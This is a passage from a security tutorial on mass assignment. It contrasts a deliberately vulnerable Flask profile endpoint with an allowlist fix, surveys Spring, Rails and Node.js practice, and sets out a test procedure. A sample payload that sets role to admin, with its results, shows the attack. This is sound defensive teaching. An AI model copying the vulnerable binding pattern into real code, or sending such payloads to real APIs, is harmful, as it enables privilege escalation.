# Vulnerable: every JSON key the client sends is written to the record.
@app.patch("/v1/me")
def update_me_vulnerable():
    USERS[g.user_id].update(request.get_json())
    return jsonify(USERS[g.user_id])

The fixed version defines what a user may change, and rejects anything else:

# Fixed: a dedicated input model lists the only fields a user may change,
# and rejects anything else instead of silently ignoring it.
class ProfileUpdate(BaseModel):
    model_config = ConfigDict(extra="forbid")
    email: EmailStr | None = None
    display_name: str | None = Field(default=None, max_length=80)

@app.patch("/v2/me")
def update_me_fixed():
    try:
        changes = ProfileUpdate.model_validate(request.get_json())
    except ValidationError as e:
        return jsonify(error="invalid fields",
                       fields=[".".join(map(str, x["loc"])) for x in e.errors()]), 422
    USERS[g.user_id].update(changes.model_dump(exclude_unset=True))
    return jsonify(USERS[g.user_id])

We sent {"display_name": "Bobby", "role": "admin", "plan": "enterprise"} to each endpoint with Flask’s test client:

v1 200 {'display_name': 'Bobby', 'email': 'bob@example.com', 'id': 1, 'org_id': 7, 'plan': 'enterprise', 'role': 'admin'}
v2 422 {'error': 'invalid fields', 'fields': ['plan', 'role']}
v2 200 {'display_name': 'Bobby', 'email': 'bob@example.com', 'id': 1, 'org_id': 7, 'plan': 'free', 'role': 'member'}

The last line is a legitimate request with only display_name, which the fixed endpoint accepts. exclude_unset=True means fields the client didn’t send are left alone, so a partial update doesn’t blank the email. Note that a client that explicitly sends "display_name": null will clear it; add a validator if that should not be allowed. EmailStr needs Pydantic’s optional email extra installed.

This is a demonstration, not production code: authentication is faked and storage is a dictionary.

The same idea in other frameworks

Spring

The Spring documentation’s guidance for safe binding is, in order: prefer immutable objects (records or constructor binding), or dedicated objects designed for the expected input. It says domain objects such as JPA or Hibernate entities “are generally not safe for web binding”, and that if you must bind to them you should declare the allowed properties:

@InitBinder
void initBinder(WebDataBinder binder) {
    binder.setAllowedFields("firstName", "lastName", "*Address");
}

Spring also offers setDeclarativeBinding(true), which applies constructor binding always and setter binding only when allowedFields is set. The current documentation says disallowedFields, the blocklist approach, has been deprecated in Spring Framework 7.1 “because it is fragile and easy to get out of sync with the actual properties over time”.

A note from us: @InitBinder configures Spring’s data binder, which handles form and query parameters bound to @ModelAttribute arguments. JSON request bodies read with @RequestBody are converted by an HTTP message converter instead, so for JSON APIs the dedicated input class is the control that matters.

Rails

Strong parameters are on by default: the Rails guide says passing unpermitted parameters to mass assignment raises ActiveModel::ForbiddenAttributesError. Rails 8.0 added params.expect, which the guide calls “the safest and most explicit way to permit parameters”:

def user_params
  params.expect(user: [:display_name, :email])
end

The guide warns against params.expect(user: {}), which permits every current and future attribute under that key.

Node.js

OWASP’s cheat sheet shows the allowlist approach with a pick function, copying only named fields from req.body before constructing the model. A schema validator that rejects unknown keys does the same job.

Mistakes that reintroduce the bug

• Blocklisting. Excluding role works until someone adds is_staff. OWASP and Spring both recommend allowlists.
• One input model for every caller. An admin endpoint may legitimately set role; a self-service endpoint must not. Use separate input models, or decide per field based on who is calling.
• Nested objects. Binding {"profile": {...}, "account": {"owner_id": 2}} onto an object graph can reach properties several levels down. OWASP’s cheat sheet tells you to review nested objects; Spring’s allowed-field patterns are property paths for the same reason.
• Update paths that bypass the model. A bulk-update job, a GraphQL mutation or an internal admin API that writes the entity directly needs the same allowlist.
• Treating field allowlists as authorization. OWASP says DTOs and allowlists “do not replace” authorization for the requested object and operation. The IDOR guide covers the object-level check, and broken access control covers the wider class.

How to test for it

1. For each write endpoint, compare the request the UI sends with the object the API returns. Every property in the response that isn’t in the request is a candidate.
2. Send each candidate back in the request, one at a time: role, is_admin, plan, org_id, owner_id, verified, balance, created_at.
3. Check the stored result, not just the response code. Some vulnerable endpoints return 200 and the unchanged object, then persist the field anyway, or the reverse. OWASP notes that side-effect analysis may be needed when the property isn’t returned.
4. Add regression tests like the one above, so a refactor that switches back to direct binding fails CI.

Mass assignment is one of the items in our list of common API security misconfigurations, and the response-filtering half of API3 belongs in our public REST API checklist.

Limits of this article

Only the Python example was run. Framework behavior depends on version and configuration; check your framework’s documentation for the version you use. We did not independently verify the 2012 GitHub incident beyond OWASP’s citation.

Sources and verification

Checked on October 22, 2026.